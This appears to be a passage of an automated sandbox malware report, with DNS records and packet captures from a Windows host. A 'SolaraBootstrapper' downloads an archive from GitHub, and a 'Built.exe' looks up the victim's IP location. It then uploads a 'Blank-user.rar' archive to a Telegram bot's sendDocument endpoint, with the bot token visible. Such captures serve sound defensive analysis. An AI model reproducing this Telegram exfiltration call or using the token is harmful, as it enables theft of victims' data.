Jun 20, 2024 19:08:41.801457882 CEST	1.1.1.1	192.168.2.5	0x3a63	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:08:42.812903881 CEST	1.1.1.1	192.168.2.5	0x3a63	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:08:42.812903881 CEST	1.1.1.1	192.168.2.5	0x3a63	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:08:43.817981005 CEST	1.1.1.1	192.168.2.5	0x3a63	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:08:43.817981005 CEST	1.1.1.1	192.168.2.5	0x3a63	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:08:45.833165884 CEST	1.1.1.1	192.168.2.5	0x3a63	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:08:45.833165884 CEST	1.1.1.1	192.168.2.5	0x3a63	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

github.com

raw.githubusercontent.com

api.telegram.org

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49719	208.95.112.1	80	6648	C:\Users\user\AppData\Local\Temp\Built.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 19:07:33.511528015 CEST	116	OUT	GET /json/?fields=225545 HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.2.1
Jun 20, 2024 19:07:34.073259115 CEST	379	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 17:07:33 GMT Content-Type: application/json; charset=utf-8 Content-Length: 202 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 72 65 76 65 72 73 65 22 3a 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 22 6d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 70 72 6f 78 79 22 3a 66 61 6c 73 65 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 7d Data Ascii: {"status":"success","country":"United States","regionName":"New York","timezone":"America/New_York","reverse":"static-cpe-8-46-123-33.centurylink.com","mobile":false,"proxy":false,"query":"8.46.123.33"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	140.82.121.3	443	7140	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 17:07:11 UTC	105	OUT	GET /quivings/Solara/raw/main/Files/Solara.Dir.zip HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-06-20 17:07:11 UTC	556	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Thu, 20 Jun 2024 17:06:44 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/quivings/Solara/main/Files/Solara.Dir.zip Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-06-20 17:07:11 UTC	3023	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f 6d 20 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 20 61 70 69 2e 67 69 74 68 75 62 2e Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	185.199.109.133	443	7140	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 17:07:12 UTC	116	OUT	GET /quivings/Solara/main/Files/Solara.Dir.zip HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-06-20 17:07:12 UTC	885	IN	HTTP/1.1 200 OK Connection: close Content-Length: 13558033 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/zip ETag: "b1d52114c541e6e84e73a48170b51aafe6efed199909f82a4a689fc059a423ed" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 3FB0:3A81E3:70B0CA:7C0452:667225DA Accept-Ranges: bytes Date: Thu, 20 Jun 2024 17:07:12 GMT Via: 1.1 varnish X-Served-By: cache-ewr18165-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1718903232.472382,VS0,VE9 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 73dc105943a0209d882ca06072b22ee00f9527b1 Expires: Thu, 20 Jun 2024 17:12:12 GMT Source-Age: 0
2024-06-20 17:07:12 UTC	1378	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 58 52 b3 58 c3 34 fd 63 9a 2b 00 00 28 60 00 00 2c 00 00 00 53 6f 6c 61 72 61 2e 44 69 72 2f 61 70 69 2d 6d 73 2d 77 69 6e 2d 63 72 74 2d 63 6f 6e 76 65 72 74 2d 6c 31 2d 31 2d 30 2e 64 6c 6c ec 99 79 7c 4c d7 fb c7 cf 2c 49 64 91 84 10 44 c8 44 62 37 c9 9d 89 6c 25 64 97 10 49 24 91 54 a4 c6 64 66 92 0c 93 99 98 25 11 ad 8a d0 d4 4e 11 14 d5 10 5a 5a 4a d1 5a 43 69 bf ad 3d 96 16 55 4b 11 45 ed aa 76 f1 fb dc 3b fb d2 6f fb c7 ef f7 fa be 5e bf d7 f7 f2 be e7 9c e7 39 cf 39 cf 59 ee 73 ef 99 0c cd 9f 47 38 84 10 2e 78 fd 9a 90 ed 44 7f c5 92 bf bf 0e 00 cf 80 9d 9e 64 ab eb d1 c0 ed ac b4 a3 81 39 25 72 0d af 4c ad 2a 56 8b 4b 79 12 b1 52 a9 d2 f2 0a 65 3c b5 4e c9 93 2b 79 89 19 d9 bc 52 95 54 16 d2 b2 a5 5b b0 a1 8d bc e1 Data Ascii: PKXRX4c+(`,Solara.Dir/api-ms-win-crt-convert-l1-1-0.dlly\|L,IdDDb7l%dI$Tdf%NZZJZCi=UKEv;o^99YsG8.xDd9%rL*VKyRe<N+yRT[
2024-06-20 17:07:12 UTC	1378	IN	Data Raw: fa f6 ed 5a 37 b4 ad b0 6e 9b 29 32 77 ab da 06 01 9d 56 58 8b 2b f4 42 db da 4c db 1a ad 1a bb d8 6a 25 4d 22 7d ae c8 5e 59 64 52 5a 6f 53 93 c8 94 b3 b7 35 6c 56 7d be 54 3c de 41 0d bd 54 5f 50 d8 eb 15 66 a5 03 c7 15 66 cf 15 8e 8c cd d6 3a 07 ce eb cc de eb 1c ba af b3 f4 5f e7 a0 03 9d 45 07 8e 1c d0 59 7a e0 70 fc 06 a9 48 67 b7 7f 8d 12 63 c6 6a 45 cd 32 43 b6 c2 4e 59 61 52 39 b0 64 b6 83 ce 66 af e9 cb fa c4 da c6 b8 dd 74 36 fb 4d 5f d6 27 76 16 4c 1f 15 12 8d ed 96 33 89 f4 b9 22 7b 65 91 49 69 bd 6a 26 91 29 67 6f 6b 58 32 7d de 76 ca 2d a5 fa 82 c2 5e af 30 2b 1d 38 ae 30 7b ae 70 64 6c b6 2e 2d d4 d8 eb f5 42 73 fe 2f aa 98 2b e9 1c 4c 81 ce 3c 07 76 1b d7 52 6a 28 38 70 53 a7 b0 50 3b d4 5b 54 70 38 8b 3a d3 2c d2 1e db e8 0d 22 63 ce 76 Data Ascii: Z7n)2wVX+BLj%M"}^YdRZoS5lV}T<AT_Pff:_EYzpHgcjE2CNYaR9dft6M_'vL3"{eIij&)gokX2}v-^0+80{pdl.-Bs/+L<vRj(8pSP;[Tp8:,"cv
2024-06-20 17:07:12 UTC	1378	IN	Data Raw: 3e be 76 e6 7a f6 3b 6d 92 5b e7 cf ad 79 59 fe e6 11 ee d1 cf 0b 6f 2f be cb 09 73 fa 7a c9 b0 ca 6d 93 bb 54 af 7b f3 c5 ea e1 ca dc 82 0f 02 ef 05 55 9e f0 d0 2c e1 b0 38 05 bd 97 b2 37 8c 4c 98 da 14 1d 95 b8 ff 7e e7 cd 5d 75 c1 1d 07 29 b7 9c 1f 3b e5 cb 4f ce 77 1d dc f3 fd d0 83 9f 7f a3 5d 74 ff e3 5d 93 f7 64 be ca f9 73 5c 5a e0 a1 fa 9d 3b ae 94 78 e5 75 18 e4 d6 5e 27 4a f2 ec 73 4b 7a ac a4 7b 7f 6e 6d cd fd f5 3b d9 db 5e 04 e7 fd 71 b1 eb 4d 5e c3 a6 de aa 2d 1f 35 2f 68 ea b0 51 93 7d 3c d4 eb 40 9c 2b 1b 7b 92 55 5f cd 92 60 46 44 94 0f e6 b2 53 57 ae 07 e5 e6 dc 02 1b d7 c9 c9 85 c3 a1 3a d1 42 4f ae 2f b7 cd c6 05 31 17 7f 8c 3a 18 e6 21 cc bc 9b c7 2a ff 59 31 bf c2 8d ca a1 d5 ad b8 43 a9 21 ab 53 a9 41 02 3e d5 9b 5e 10 77 9f 60 f3 Data Ascii: >vz;m[yYo/szmT{U,87L~]u);Ow]t]ds\Z;xu^'JsKz{nm;^qM^-5/hQ}<@+{U_`FDSW:BO/1:!*Y1C!SA>^w`
2024-06-20 17:07:12 UTC	1378	IN	Data Raw: 1d f4 5e af d5 d5 fe 0b ae 2c 74 e9 f4 f0 4a fa d3 59 2b 0f dd f0 59 f3 41 fa 81 8e 27 e7 aa 6b 7b 8d 2b 5d e6 f7 d4 ff 7e f6 e9 e2 23 5d 5e 17 74 3a ba 6a 56 43 f7 cd 95 92 dc c4 55 c3 8e 3e bb 59 ff 66 ee 85 65 ec a4 c4 50 d1 a3 73 5f fc 58 2d 54 be 5c 5d eb d3 74 4b 7e 7d dd aa 3e 7b 0e f4 f6 f6 94 cd f9 f0 97 3f 57 3d 6f dd cd 55 16 b5 f0 c1 84 80 c1 bb 4e 5c ce bd 71 7c fc a2 f6 05 07 c3 7d 45 17 16 74 4a 9d c3 df b3 a1 6f a2 ff 5d ef b6 7e e4 ad 0b e1 23 03 8f 2d f9 c1 f5 ee 7b 9e b3 32 4a 3d 7d d2 63 de e9 99 b2 5c 7d e2 0f c5 a1 7d b7 cb ea f3 e6 e7 4d 5c 38 bb ae 63 0a 27 ff 49 63 7d b1 9b 76 4d c4 1d 7e 68 bb 03 bf a9 23 5b 3f 52 7d d9 bf b8 fa 59 d6 e6 d9 61 be b2 ce 9e 33 2e 78 5f 94 3e 52 1d 4b fe f1 54 bb 9b 95 df 71 b7 9e 7a d1 e7 52 c0 8c Data Ascii: ^,tJY+YA'k{+]~#]^t:jVCU>YfePs_X-T\]tK~}>{?W=oUN\q\|}EtJo]~#-{2J=}c\}}M\8c'Ic}vM~h#[?R}Ya3.x_>RKTqzR
2024-06-20 17:07:12 UTC	1378	IN	Data Raw: 97 6d 9e 6d 8a 90 db 09 8d a0 6e e8 cb 3c d0 70 ce 6f 35 1e 8d b6 8a ab 36 e6 70 1d ab 34 7f 1d ce 47 5a af ec bc ed ce 59 cf 6b 53 ab a7 cf 97 94 f8 66 36 46 c3 1e be 52 9a e2 b5 80 27 a1 f5 50 da 89 5e 15 89 b0 f0 67 59 49 b2 27 4c 2e 17 7e aa 88 1e 32 99 8e 36 a2 34 20 f1 33 a3 7c e0 84 1c 68 4e f5 ca 16 45 40 6b 66 c6 e7 75 89 f0 d6 ba e2 94 f8 3f 65 a0 0c 98 88 d0 7c 95 70 e2 5e e0 49 2e 70 e2 5c 79 a0 07 61 b9 72 43 b2 d6 9b b6 d9 fd 9b 7c b0 df 5a d2 ec 12 38 e6 8d bc 7f 80 12 43 33 d4 de 24 d4 c5 e0 bf e5 b6 98 f7 87 79 7b 7b fc 73 6f b1 0a 02 62 82 00 f8 8f e2 b6 bf 30 b7 17 e6 c0 fc 94 75 e3 00 58 3f 12 12 88 be db c2 fb f4 37 b7 96 23 c9 86 78 cc 64 b5 3e 41 2f 48 94 2e f6 8c 14 68 6d dc d2 3c a0 2c 59 89 d8 e4 00 ed b1 39 7e 9d d8 a9 d0 ce 9e Data Ascii: mmn<po56p4GZYkSf6FR'P^gYI'L.~264 3\|hNE@kfu?e\|p^I.p\yarC\|Z8C3$y{{sob0uX?7#xd>A/H.hm<,Y9~
2024-06-20 17:07:12 UTC	1378	IN	Data Raw: b4 70 38 a9 2c ff 78 f6 c3 6e 3a 39 8d f1 b0 0d be d4 eb 87 6c 81 be 1a 2f 88 da 98 b5 ff da 95 4b c2 0c ad ac 25 c6 95 37 47 14 a4 92 b5 dd 07 b2 7a 9b 0d 26 1d 9e 1b 35 f6 3c 07 1a b6 3b a6 35 36 0f d6 9b 6b bd 4c 67 a6 13 17 ae ed 3e 89 2f b4 78 30 53 5b 64 68 91 98 9b b1 bf 3c 50 84 99 a8 7a 48 74 b8 cf 22 fa b9 d7 45 15 ca 2c 24 ee 0d 00 89 93 b8 cf d9 77 b2 fe 37 69 45 36 27 09 e6 f1 be 30 2f dc 23 58 bc bc 2c 91 ee ee 10 23 31 d1 fa ba f4 17 7d d7 c1 c7 a2 12 33 11 cf 01 c4 70 0e 62 10 40 f4 ff d5 01 e0 06 38 3f 7c 95 f9 8c bc 83 9b 3d dc 03 a4 a9 ff 21 02 22 62 4a a2 82 f2 60 45 40 50 44 04 26 0f e6 07 78 3f 44 80 ed db 08 80 f4 5c cf 7a 58 c3 41 1a 56 9e 5e 98 ab e5 9d 5d ad 9d be 13 ed 70 f0 b1 c6 7c 46 25 00 36 5a f2 cf 5c 53 0c 2a 02 01 9b 7c Data Ascii: p8,xn:9l/K%7Gz&5<;56kLg>/x0S[dh<PzHt"E,$w7iE6'0/#X,#1}3pb@8?\|=!"bJ`E@PD&x?D\zXAV^]p\|F%6Z\S*\|
2024-06-20 17:07:12 UTC	1378	IN	Data Raw: c8 4f 2c ed 3c 26 22 be 1f b8 13 e7 1e 77 fa bc 9a a5 09 b0 7f 68 d1 d8 51 3a da df 63 71 d0 e9 68 03 13 a9 c3 2d d0 00 da 0c 76 ff 8f b3 68 ec 25 61 22 fc 30 18 20 21 0e fd 86 d1 4d 6f 59 f8 d7 b0 61 9d 9c f2 d0 ac 5c 65 f5 62 87 4c 2f a2 fe 5b 46 f7 c5 46 f1 59 6a 12 fd a3 18 dd 2f cc fd bd 8c f5 03 c5 ca 33 93 a4 60 e3 58 56 ee 71 82 b3 37 09 62 ef 2c f0 6f 78 40 2f 06 b7 8f 28 21 77 db 06 ec 32 04 db d4 d5 55 66 9f f1 b5 1d 85 26 2e 11 69 89 bd 62 e1 5f b0 1e bc d9 72 27 be 6b d7 da c2 db f1 31 ec e9 a3 89 17 bc 17 76 ef 85 3e 54 bc c1 37 39 e2 0c 7f cb 7a fd e5 9b 9b 0f ea b5 b3 a6 77 93 93 46 9a b2 ec 73 dc e2 37 23 61 a2 9b 10 3d 17 87 8a b7 fc ad b3 f4 7a 7d 44 73 62 09 0f 33 07 9b 05 16 2d da 44 9c 8b a2 39 65 3b 7a d3 b1 28 02 b9 c7 8f 98 08 76 Data Ascii: O,<&"whQ:cqh-vh%a"0 !MoYa\ebL/[FFYj/3`XVq7b,ox@/(!w2Uf&.ib_r'k1v>T79zwFs7#a=z}Dsb3-D9e;z(v
2024-06-20 17:07:12 UTC	1378	IN	Data Raw: 4f e1 f1 6b e7 83 4b ec fd 9f 95 06 4c cc 7a a1 4a 03 21 0a aa a1 58 9e 71 48 d5 23 53 38 a3 6a bc 87 08 34 0a c3 5c db c2 51 36 d9 db a9 c2 fc 31 c5 07 50 51 48 a1 1e 5f a7 50 f9 ca 0c 67 f2 ec de 70 f8 d8 0a 5d e4 84 46 72 2d e7 e4 ad 5c be 2b 32 8b a7 64 14 45 95 05 bd 03 96 65 3a 90 95 b4 83 3b 42 62 3d 57 b9 67 ec bc 34 12 b0 e3 92 ab df 46 74 39 30 bc 8d 3b 80 4e 33 1b d7 c0 75 6b 95 ac 7c 1e 5d 09 37 e3 99 5c 8d 9a ce f3 5e 46 9f 0c 81 16 cd 2d b8 20 e6 06 f2 9f 6d 36 f1 34 db 44 76 0b ee 66 21 a9 6e 03 48 aa f2 ef dc 28 d7 31 7d d7 be 75 a3 c4 60 ba 2e ef b9 51 7e 46 7d 91 d8 27 bf 77 a4 28 63 62 2b 8f 19 90 f9 de 91 f2 73 ee 5b f9 08 96 e2 c9 3b 1a fc 66 86 67 3e e5 34 fa c0 b0 96 52 61 5b 9e 3c 2f 85 c2 72 78 6b eb 19 d8 be 43 a5 ea 42 e9 77 0e Data Ascii: OkKLzJ!XqH#S8j4\Q61PQH_Pgp]Fr-\+2dEe:;Bb=Wg4Ft90;N3uk\|]7\^F- m64Dvf!nH(1}u`.Q~F}'w(cb+s[;fg>4Ra[</rxkCBw
2024-06-20 17:07:12 UTC	1378	IN	Data Raw: af 38 2c e5 56 8c c9 77 f5 67 c9 55 26 96 26 9b 84 06 b7 66 ba 95 fb 9c b5 61 0d af 9e 5b e1 3f 83 46 49 db 64 69 c5 f3 86 18 b5 15 1f 47 c9 3f 4e f6 d5 60 78 1f 74 e3 5d f3 fa f9 37 de 01 0f df 3c 49 63 2d cd 9c 3f ee b6 e2 77 01 6c ad 79 c7 93 00 a1 5b 78 f4 45 e0 d9 4b 3c 7e 58 06 33 2c ae c6 8c 1c 46 44 e4 e8 a9 fe 73 12 ed 8f 04 af 87 8e ef d4 f2 29 db 24 70 72 b9 50 1a 92 52 b0 10 7b 46 29 fa 1b c4 9c 2a 8a 59 6e 3c 3b ad ac ff ea 4a 26 d5 c6 fc 4b 12 b5 82 52 66 8d 36 85 74 cb b5 a4 57 2c 9b 4e d4 a1 dc cb a2 1a c2 c3 b5 87 bd a0 d6 8f d4 76 0c 55 ec cd 1f ad 57 65 f9 c7 36 38 53 94 ad 64 30 6e 6e 74 d4 ec ff 0b 9e ff 03 50 4b 03 04 14 00 00 00 08 00 58 52 b3 58 bb 8d 36 a8 80 29 00 00 28 58 00 00 2f 00 00 00 53 6f 6c 61 72 61 2e 44 69 72 2f 61 70 Data Ascii: 8,VwgU&&fa[?FIdiG?N`xt]7<Ic-?wly[xEK<~X3,FDs)$prPR{F)*Yn<;J&KRf6tW,NvUWe68Sd0nntPKXRX6)(X/Solara.Dir/ap
2024-06-20 17:07:12 UTC	1378	IN	Data Raw: 0c 0d 17 88 f7 27 cc 61 6d 9a 34 9d 9a b5 bc 19 88 b8 40 ff d9 0b 7c 22 8f 23 05 ce 26 4f e4 71 e4 90 00 22 65 ce c7 66 68 33 c9 59 9f 63 a4 e2 7e 99 bf a9 e9 9b 6f f6 18 26 ef 97 b9 9b 9a ba f9 66 8e 61 e2 c2 02 f1 64 7f 86 a2 89 fc c4 6b 16 97 53 14 5c 58 50 00 31 68 56 93 09 02 ed 3d cf 4c 30 52 71 11 bf 68 99 29 ca 54 02 37 4f 21 ed ab 11 73 35 cd 24 81 f6 9e ad 50 26 09 b8 88 f9 75 c6 2c f2 ac dc 6c d9 ce 2d 61 20 fc 46 bd b9 95 88 bf f1 dd 49 c9 47 cc ab 3b 18 a9 8c 99 79 98 63 50 1f d3 f9 f9 6b cd a9 32 0f 63 0c 2a 24 62 9e bd 3c 43 c3 45 cc b3 9f 66 68 33 c9 d9 13 c9 b8 a5 22 e6 ee a9 49 02 2e 82 44 08 0c 9e a5 03 a6 28 b4 44 10 3e 70 4e 11 9d 02 12 73 f6 e2 24 01 17 31 df 6e 64 20 32 a4 67 33 3b 6b 43 46 fc b2 23 a7 28 53 89 39 53 c3 b0 29 23 7e Data Ascii: 'am4@\|"#&Oq"efh3Yc~o&fadkS\XP1hV=L0Rqh)T7O!s5$P&u,l-a FIG;ycPk2c*$b<CEfh3"I.D(D>pNs$1nd 2g3;kCF#(S9S)#~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49720	149.154.167.220	443	6648	C:\Users\user\AppData\Local\Temp\Built.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 17:07:35 UTC	268	OUT	POST /bot6463842780:AAFaYRMI8L5vU1x4kT-GXUhqbxhmWpQtN6k/sendDocument HTTP/1.1 Host: api.telegram.org Accept-Encoding: identity Content-Length: 583620 User-Agent: python-urllib3/2.2.1 Content-Type: multipart/form-data; boundary=f66e670c7152a234c3c9a88ee6d77edd
2024-06-20 17:07:35 UTC	16384	OUT	Data Raw: 2d 2d 66 36 36 65 36 37 30 63 37 31 35 32 61 32 33 34 63 33 63 39 61 38 38 65 65 36 64 37 37 65 64 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 6c 61 6e 6b 2d 61 6c 66 6f 6e 73 2e 72 61 72 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 52 61 72 21 1a 07 01 00 84 31 bc ba 21 04 00 00 01 0f 13 f0 e9 75 40 18 cd 30 0e 3e f3 b5 35 c5 23 0e 16 68 9d d5 ef f3 3c b8 26 6e 57 1e 0e d3 9a a2 b0 e7 7b 43 79 59 75 bf 45 f5 da 12 aa cd 65 3a 6e f9 bf 50 bb 72 04 72 c4 4b 1f dc 4f 05 32 07 62 63 1b bb e8 e3 49 1c 43 98 2a 29 a0 dd 22 3c 5c Data Ascii: --f66e670c7152a234c3c9a88ee6d77eddContent-Disposition: form-data; name="document"; filename="Blank-user.rar"Content-Type: application/octet-streamRar!1!u@0>5#h<&nW{CyYuEe:nPrrKO2bcIC*)"<\
2024-06-20 17:07:35 UTC	16384	OUT	Data Raw: d1 25 6a c1 ff 31 e4 b5 1b 14 b0 d2 ec 5a 0d 11 92 40 7f 45 ac 1d 9e 1d 7c 61 c5 d8 3d 14 99 ae 46 a2 0d d7 b5 5a 2f 7c 72 e2 2c 34 6c 7d a0 14 b6 5a e2 0b b7 53 37 98 10 b7 48 b6 3f 6d a9 42 d4 0e a3 3e 76 e8 a3 d3 4a 6a ac 5a 88 6c 16 69 6f 91 aa 72 2c ab 72 17 9f 69 8c b1 05 5b ba ba 8f db 37 13 80 e8 a7 96 ec ad c7 fb 06 14 96 8c be cb a0 3a 61 a2 ed e0 6c 42 9b e2 47 25 b5 bb 36 fa 09 54 ff f1 03 e6 c5 a6 28 11 28 50 c4 57 88 b3 62 8a b0 fa 27 b2 5b 2a 38 78 c0 b2 5f b1 a9 a2 be 48 c8 c5 9d 8a f6 14 df e6 3a 04 1a c1 5a c7 48 80 f7 98 58 a7 41 39 eb e8 29 3c ac a0 27 34 95 e5 7e de d4 72 b5 96 59 04 cf 5b 27 30 11 c7 6b ed 39 d2 9a 6a f2 2b 9a bc 32 16 15 ec f6 cc 11 af 46 eb a3 39 f7 38 96 7a 0b c1 ee e5 4d 5b e1 21 d5 3e 90 98 30 f3 92 f6 c6 4f 91 Data Ascii: %j1Z@E\|a=FZ/\|r,4l}ZS7H?mB>vJjZlior,ri[7:alBG%6T((PWb'[*8x_H:ZHXA9)<'4~rY['0k9j+2F98zM[!>0O
2024-06-20 17:07:35 UTC	16384	OUT	Data Raw: 4b 06 f8 12 a4 ed ca 79 23 ae ac 3e 24 60 45 51 c7 5e 48 bb 50 6e 71 77 db d5 85 3f 43 d9 d8 27 eb e8 7f 82 5e 4b 36 9f 84 d2 fb 2f 4f ae c5 c5 8d 73 4b c2 11 fd ff 08 0b 61 da e3 49 e2 8a ff a4 cf f0 37 3d 31 39 f3 95 70 2e fa 4e 3d 3e f8 46 7f 5a 72 f3 a0 d5 d8 c3 9e 72 5c 57 27 aa ed 01 71 59 53 14 27 bf 24 d1 f5 ae cb 90 9b 65 f6 59 62 85 47 34 52 d8 58 85 c8 df 79 fc c2 b4 a4 9a ba 82 d2 39 07 34 76 9c ce 21 ff 96 f5 93 95 8e 07 19 0d bb 71 3e 05 de f7 bd c7 4a c0 06 0d 94 9a 7f 2b 4a ca 10 80 7f 70 af 24 ae ac e3 f0 3c fb 38 9f 88 85 a9 8a 45 38 b5 58 95 20 60 a8 79 1d 84 7a 29 17 71 3d 41 19 14 02 5a 33 5a e4 3a 7c dc eb 46 c4 70 1e d6 3b 16 21 78 33 9f 55 9c 17 87 f3 3c 17 0e 0e 67 23 20 77 ca b5 a7 8d 93 86 c9 4f 1f 08 44 79 b7 99 89 ff 42 1a 7c Data Ascii: Ky#>$`EQ^HPnqw?C'^K6/OsKaI7=19p.N=>FZrr\W'qYS'$eYbG4RXy94v!q>J+Jp$<8E8X `yz)q=AZ3Z:\|Fp;!x3U<g# wODyB\|
2024-06-20 17:07:35 UTC	16384	OUT	Data Raw: 58 39 65 fa ea 6a 5b f1 f4 df 8d aa a3 f7 cd 42 2a e1 0d 55 50 bd b2 10 ca 7a cc 2b e8 d6 ee 50 ac 38 a9 9c 39 73 d8 f2 b9 27 70 d9 76 9b 29 c2 99 f3 b8 ee 7b 02 31 c2 07 2e 17 86 05 98 3f 1e d5 aa c4 74 64 27 e4 24 d3 26 46 76 d2 e7 a3 3f 34 1b ac 9b 1b 1c db 51 e0 b0 42 6e c5 52 aa ca 6f 27 e5 a9 d5 63 29 50 36 50 aa e4 a0 0b 80 f3 b9 45 26 07 1e 8c e1 71 17 4c 64 96 89 f9 6a e1 46 80 db c7 dd 15 12 40 5c 2c 4d 8f 44 09 68 5a 39 bf 65 cf 33 aa cb 54 73 3a 0f b8 88 99 c0 69 ff 29 21 ed 6b dd ae 40 68 a3 a8 17 d9 2e a8 22 5b e7 16 03 98 cd f6 e6 e5 66 8b d0 5a e0 ab 2d e1 16 ef df b0 18 0a 45 2f c8 0b e3 cf c3 94 dd 7d 2f b1 06 4f e0 ba 89 e4 6b bd 2f 2a 74 08 17 55 8a 21 fe 78 3f 6d a2 4b 51 30 f2 f7 26 36 ab 6d 9b 93 7f 28 a0 61 f5 45 b4 5a cf 37 08 46 Data Ascii: X9ej[BUPz+P89s'pv){1.?td'$&Fv?4QBnRo'c)P6PE&qLdjF@\,MDhZ9e3Ts:i)!k@h."[fZ-E/}/Ok/tU!x?mKQ0&6m(aEZ7F
2024-06-20 17:07:35 UTC	16384	OUT	Data Raw: d4 5e ab 75 99 35 e8 6b fc fd dc b4 c3 9e 86 fa db 84 fb f8 29 44 b4 95 69 fd f9 ee f7 8e 3b 63 e3 ad dd c0 85 f7 71 9b 4a 0a 2c 44 16 b7 b9 d4 e3 07 fd f4 ea f0 4f 42 58 6d 4e 9a 78 19 c3 a5 f2 f6 1c 17 31 c2 1d e3 df 6c 3c 27 8a a3 1f 34 37 aa c2 33 81 c1 b9 d8 fd 83 65 61 f7 65 d3 cd de 09 f6 a0 b7 48 db c0 0e 3a 9b df 22 d0 a8 22 d3 52 04 da 65 4a a6 67 1c e5 48 ca 16 2c dd 31 fa d3 bd fa da d4 0d 57 37 f2 0f 5f 78 45 8d 23 6b 34 16 f6 d3 a5 51 05 91 eb ed 75 d1 a9 79 f5 0c 50 19 28 ff fd 2b 32 79 c6 b1 43 66 f4 cd 59 bd 23 d4 bb 34 5b 7c 3c 5b a4 ce 93 58 50 5b b4 dd 59 0d 33 11 1b 28 66 17 45 e5 86 c4 40 65 d2 db bb 01 31 ea 99 6c e7 22 18 a5 0b 63 4f 95 4f 58 a5 83 dc 41 